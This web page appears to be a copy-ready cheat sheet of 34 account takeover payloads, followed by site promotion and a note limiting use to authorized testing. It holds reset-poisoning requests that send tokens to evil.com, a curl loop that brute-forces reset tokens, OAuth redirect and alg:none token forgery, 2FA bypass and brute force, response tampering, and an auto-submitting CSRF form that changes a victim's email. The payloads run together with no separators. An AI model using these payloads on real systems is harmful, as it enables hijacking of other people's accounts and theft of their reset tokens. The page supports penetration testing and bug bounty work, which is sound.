Account takeover techniques: password reset poisoning, reset-token leakage and prediction, OAuth/SSO flaws, email/2FA-change abuse, and CSRF chains that bind an attacker to a victim's account. (34 payloads)
POST /reset HTTP/1.1
Host: evil.com
email=victim@target.comHost: target.com
X-Forwarded-Host: evil.comHost: target.com:@evil.com
Host: target.com\nHost: evil.comPOST /reset
Host: target.com
email=victim@target.com&X-Forwarded-Host=evil.comGET /reset?token=... (Referer: https://evil.com)Reset password, then inspect the JSON/HTML response and Set-Cookie for the tokenGET /api/user?email=victim@target.com → look for resetToken / passwordResetToken fieldRequest 3+ tokens and diff them (sequential, timestamp, or short numeric)for i in $(seq 0 9999); do curl -s "$URL/reset?token=$(printf '%04d' $i)" ...; doneReuse a token after it 'expired' or after a successful resetSubmit token belonging to victim while logged in as attacker (no email binding)email=victim@target.com&email=attacker@evil.com{"email":["victim@target.com","attacker@evil.com"]}victim@target.com%0a%0dcc:attacker@evil.com / "victim@target.com"@evil.comRegister victim+x@gmail.com or VICTIM@target.com (Unicode/case normalization)Register account with unverified email = victim@target.com, then trigger SSO mergeGET /oauth/authorize?...&redirect_uri=https://evil.com&response_type=codeReplace your code/token in the callback with the victim's (no state binding)Use a code/access_token issued for App-A on App-B's /oauth/callbackSign in with Google using email=victim@target.com on an app that links by emailDecode the id_token, swap the sub/email claim, drop the signature (alg:none)Leak access_token from URL fragment via Referer / open redirect on the callbackPOST /account/email {newEmail: attacker@evil.com} — no current-password / re-authDisable 2FA endpoint reachable without re-entering an OTP or passwordBrute-force the 6-digit TOTP/SMS code — no rate limit / no attempt counterDrop the 2FA step: go straight to the post-login endpoint after step-1 authIntercept the 2FA response and change {"verified":false} → true / 401 → 200Use a leftover 'remember this device' token / backup code on the victim<form action=https://target.com/account/email method=POST><input name=email value=attacker@evil.com></form><script>document.forms[0].submit()</script>Login CSRF: auto-submit the attacker's credentials, then plant a stored payloadGET /account/link-oauth?code=ATTACKER_CODE (no state) via <img>Change HTTP/1.1 401/403 → 200, or {"success":false} → true in the login responseSubmit reset-password POST without the old session, observe Set-Cookie auto-loginCompare attacker vs victim sessions/JWTs side by side (session-compare)Level up your security testing
Install the CLI
npx payload-playgroundExplore All Tools
Encoding, hashing, JWT & more
Browse Cheat Sheets
Quick-reference payload guides
It's a quick-reference collection of 34 Account Takeover payloads for testing Account Takeover (ATO) vulnerabilities during authorized penetration testing, bug bounties, and CTFs. Every payload is copy-ready and grouped by attack context.
Copy any payload straight into your authorized test, or use the OAuth / OIDC Attack Wizard to apply them interactively. Only test systems you have explicit permission to assess.
Yes — this cheat sheet and all Account Takeover payloads are completely free, with no account required. Everything runs in your browser.